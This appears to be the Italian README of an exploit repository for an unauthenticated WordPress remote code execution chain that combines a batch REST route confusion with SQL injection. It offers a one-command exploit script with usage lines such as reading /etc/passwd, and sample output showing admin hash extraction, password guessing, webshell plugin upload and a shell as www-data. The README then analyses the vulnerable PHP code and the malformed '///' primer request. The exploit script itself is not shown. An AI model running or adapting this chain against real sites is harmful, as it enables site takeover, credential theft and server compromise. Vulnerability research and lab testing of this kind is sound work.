
Exploit di RCE non autenticato per WordPress che combina route confusion e SQL injection. Script automatizzato, setup di laboratorio e analisi dettagliata della vulnerabilità forniti.
Vulnerabilità: Confusione delle route batch REST + SQL injection in WP_Query → RCE completa
CVSS v3.1: 10.0 / 10.0 — CRITICO | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Versioni interessate: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Corrette: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## Avvio rapido
### 1. Configura il laboratorio vulnerabile
**Requisiti:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. Output atteso```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
| File | Descrizione |
|---|---|
README.md | Analisi completa della vulnerabilità e writeup di sfruttamento |
exploit.py | Script di exploit automatizzato (zero-access → RCE con un solo comando) |
docker-compose.yml | Ambiente di laboratorio WordPress vulnerabile |
chain-rce.md | Documentazione della catena RCE automatizzata |
images/ | Screenshot dallo sfruttamento manuale |
Vulnerabilità: Esecuzione remota di codice non autenticata — Confusione di route REST Batch + SQL Injection in WP_Query
CVSS v3.1: 10.0 / 10.0 — CRITICA
Vettore: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 è una vulnerabilità RCE non autenticata nel core di WordPress. Combina due bug indipendenti in una catena di exploit completa che porta dall'accesso zero al pieno compromesso del server:
| CVE | Bug | Ruolo nella catena |
|---|---|---|
| CVE-2026-63030 | Confusione di route REST Batch | Bypass dell'autenticazione |
| CVE-2026-60137 | author__not_in SQL Injection | Lettura/scrittura arbitraria del database |
Versioni interessate:
Condizioni di sfruttamento:
→ La stragrande maggioranza delle installazioni WordPress è vulnerabile di default.
/wp-json/batch/v1)Consente di inviare più richieste REST API in un'unica richiesta HTTP:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
### WP_Query — `author__not_in`
Classe principale di query al database. Il parametro `author__not_in` accetta un array di interi, generando la clausola SQL:```sql
AND post_author NOT IN (5, 12, 23)
Ogni elemento passa attraverso absint() → conservando solo la parte intera.
wp_parse_url()Wrapper per parse_url(). Quando riceve un URL non valido → restituisce WP_Error.```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. Causa principale — Bug A: Batch Route Confusion (CVE-2026-63030)
**File:** `wp-includes/rest-api/class-wp-rest-server.php`
### Codice sorgente vulnerabile:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### Perché `"///"` innesca il bug?
Quando PHP `parse_url()` incontra `"///"`, tenta di analizzarlo secondo **RFC 3986** — struttura URL:```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
Quando riceve "///", lo interpreta come:```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
PHP risultato restituito:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress avvolge questo in wp_parse_url() → rileva nessuno schema valido, nessun host valido, nessun percorso significativo → restituisce WP_Error.
wp_parse_url("///") restituisce WP_Error (URL malformato). Questo errore fa sì che la richiesta venga saltata nel ciclo che costruisce $matches, ma NON viene saltata nel ciclo di dispatch → l'array diventa desincronizzato.
File: wp-includes/class-wp-query.php
class WP_Query { public function get_posts() { global $wpdb;